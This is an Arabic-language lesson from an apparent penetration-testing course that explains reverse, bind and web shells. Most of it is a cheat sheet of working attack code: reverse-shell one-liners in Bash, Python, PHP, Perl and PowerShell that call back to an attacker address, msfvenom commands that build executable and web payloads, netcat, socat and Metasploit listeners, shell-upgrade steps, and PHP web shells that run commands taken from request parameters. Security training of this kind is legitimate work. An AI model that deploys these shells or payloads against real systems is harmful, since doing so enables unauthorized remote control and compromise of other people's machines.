الدرس 10 من 24

تحليل الثغرات والاستغلال

الـ Shells والحمولات والمستمعين

5 دقيقة للقراءة

الحصول على shell على النظام المستهدف هو هدفك الرئيسي. يغطي هذا الدرس أنواع الـ shells المختلفة وكيفية إنشائها.

نظرة عامة على أنواع Shell

Reverse Shell:
الهدف ────────────────→ المهاجم
(الهدف يبدأ الاتصال بك)
الأفضل لـ: تجاوز جدران الحماية

Bind Shell:
المهاجم ────────────────→ الهدف
(الهدف يفتح منفذ، أنت تتصل)
الأفضل لـ: الوصول المباشر للشبكة

Web Shell:
المهاجم ────HTTP────→ الهدف
(الأوامر عبر واجهة الويب)
الأفضل لـ: الثبات، البيئات المقيدة

إعداد المستمعين

مستمع Netcat (أساسي)

# مستمع أساسي
nc -lvnp 4444

# مع إخراج تفصيلي
nc -lvnp 4444 -v
العلم الغرض
-l وضع الاستماع
-v تفصيلي
-n بدون تحليل DNS
-p رقم المنفذ

Rlwrap (Shell محسن)

# shell تفاعلي أفضل مع تحرير السطر
rlwrap nc -lvnp 4444

Pwncat (متقدم)

# معالج غني بالميزات
pwncat-cs -lp 4444

أوامر Reverse Shell

سطر واحد حسب اللغة

Bash:

bash -i >& /dev/tcp/10.10.14.5/4444 0>&1

Bash (بديل):

bash -c 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1'

Python:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.5",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

Python3:

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.5",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

PHP:

php -r '$sock=fsockopen("10.10.14.5",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

Perl:

perl -e 'use Socket;$i="10.10.14.5";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

PowerShell:

powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.10.14.5',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

توليد الحمولات مع Msfvenom

الحمولات الشائعة

Linux Reverse Shell:

msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f elf -o shell.elf

Windows Reverse Shell:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f exe -o shell.exe

Windows Meterpreter (استخدم مرة واحدة فقط في الاختبار):

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f exe -o meterpreter.exe

حمولات الويب

PHP:

msfvenom -p php/reverse_php LHOST=10.10.14.5 LPORT=4444 -f raw > shell.php

JSP:

msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f raw > shell.jsp

WAR:

msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f war > shell.war

ASP:

msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f asp > shell.asp

مرجع صيغ Msfvenom

العلم الغرض
-p الحمولة للاستخدام
-f صيغة الإخراج
-o ملف الإخراج
-e المشفر
-b الأحرف السيئة
LHOST عنوان IP الخاص بك
LPORT المنفذ الخاص بك

ترقية الـ Shells

ترقية Python PTY

# على الهدف بعد الحصول على shell
python -c 'import pty; pty.spawn("/bin/bash")'
# أو
python3 -c 'import pty; pty.spawn("/bin/bash")'

ترقية TTY كاملة

# الخطوة 1: إنشاء PTY
python3 -c 'import pty; pty.spawn("/bin/bash")'

# الخطوة 2: تشغيل shell في الخلفية
Ctrl+Z

# الخطوة 3: ضبط الطرفية
stty raw -echo; fg

# الخطوة 4: ضبط البيئة
export TERM=xterm
export SHELL=/bin/bash

طريقة Script

script /dev/null -c bash

Web Shells

PHP Web Shell بسيط

<?php system($_GET['cmd']); ?>

الاستخدام: http://target/shell.php?cmd=whoami

PHP Shell تفاعلي

<?php
if(isset($_REQUEST['cmd'])){
    echo "<pre>";
    $cmd = ($_REQUEST['cmd']);
    system($cmd);
    echo "</pre>";
    die;
}
?>

مواقع Web Shell الشائعة

Kali Linux:
/usr/share/webshells/
├── php/
│   ├── php-reverse-shell.php
│   └── simple-backdoor.php
├── asp/
└── jsp/

ورقة غش المستمعين

# Netcat
nc -lvnp 4444

# Netcat مع rlwrap
rlwrap nc -lvnp 4444

# Socat
socat TCP-LISTEN:4444,reuseaddr,fork EXEC:/bin/bash

# معالج Metasploit
msfconsole -q
use exploit/multi/handler
set payload windows/x64/shell_reverse_tcp
set LHOST 10.10.14.5
set LPORT 4444
run

في الدرس التالي، سنغطي تقنيات نقل الملفات لنقل الاستغلالات والأدوات للأنظمة المستهدفة. :::

اختبار

الوحدة 3: تحليل الثغرات والاستغلال

خذ الاختبار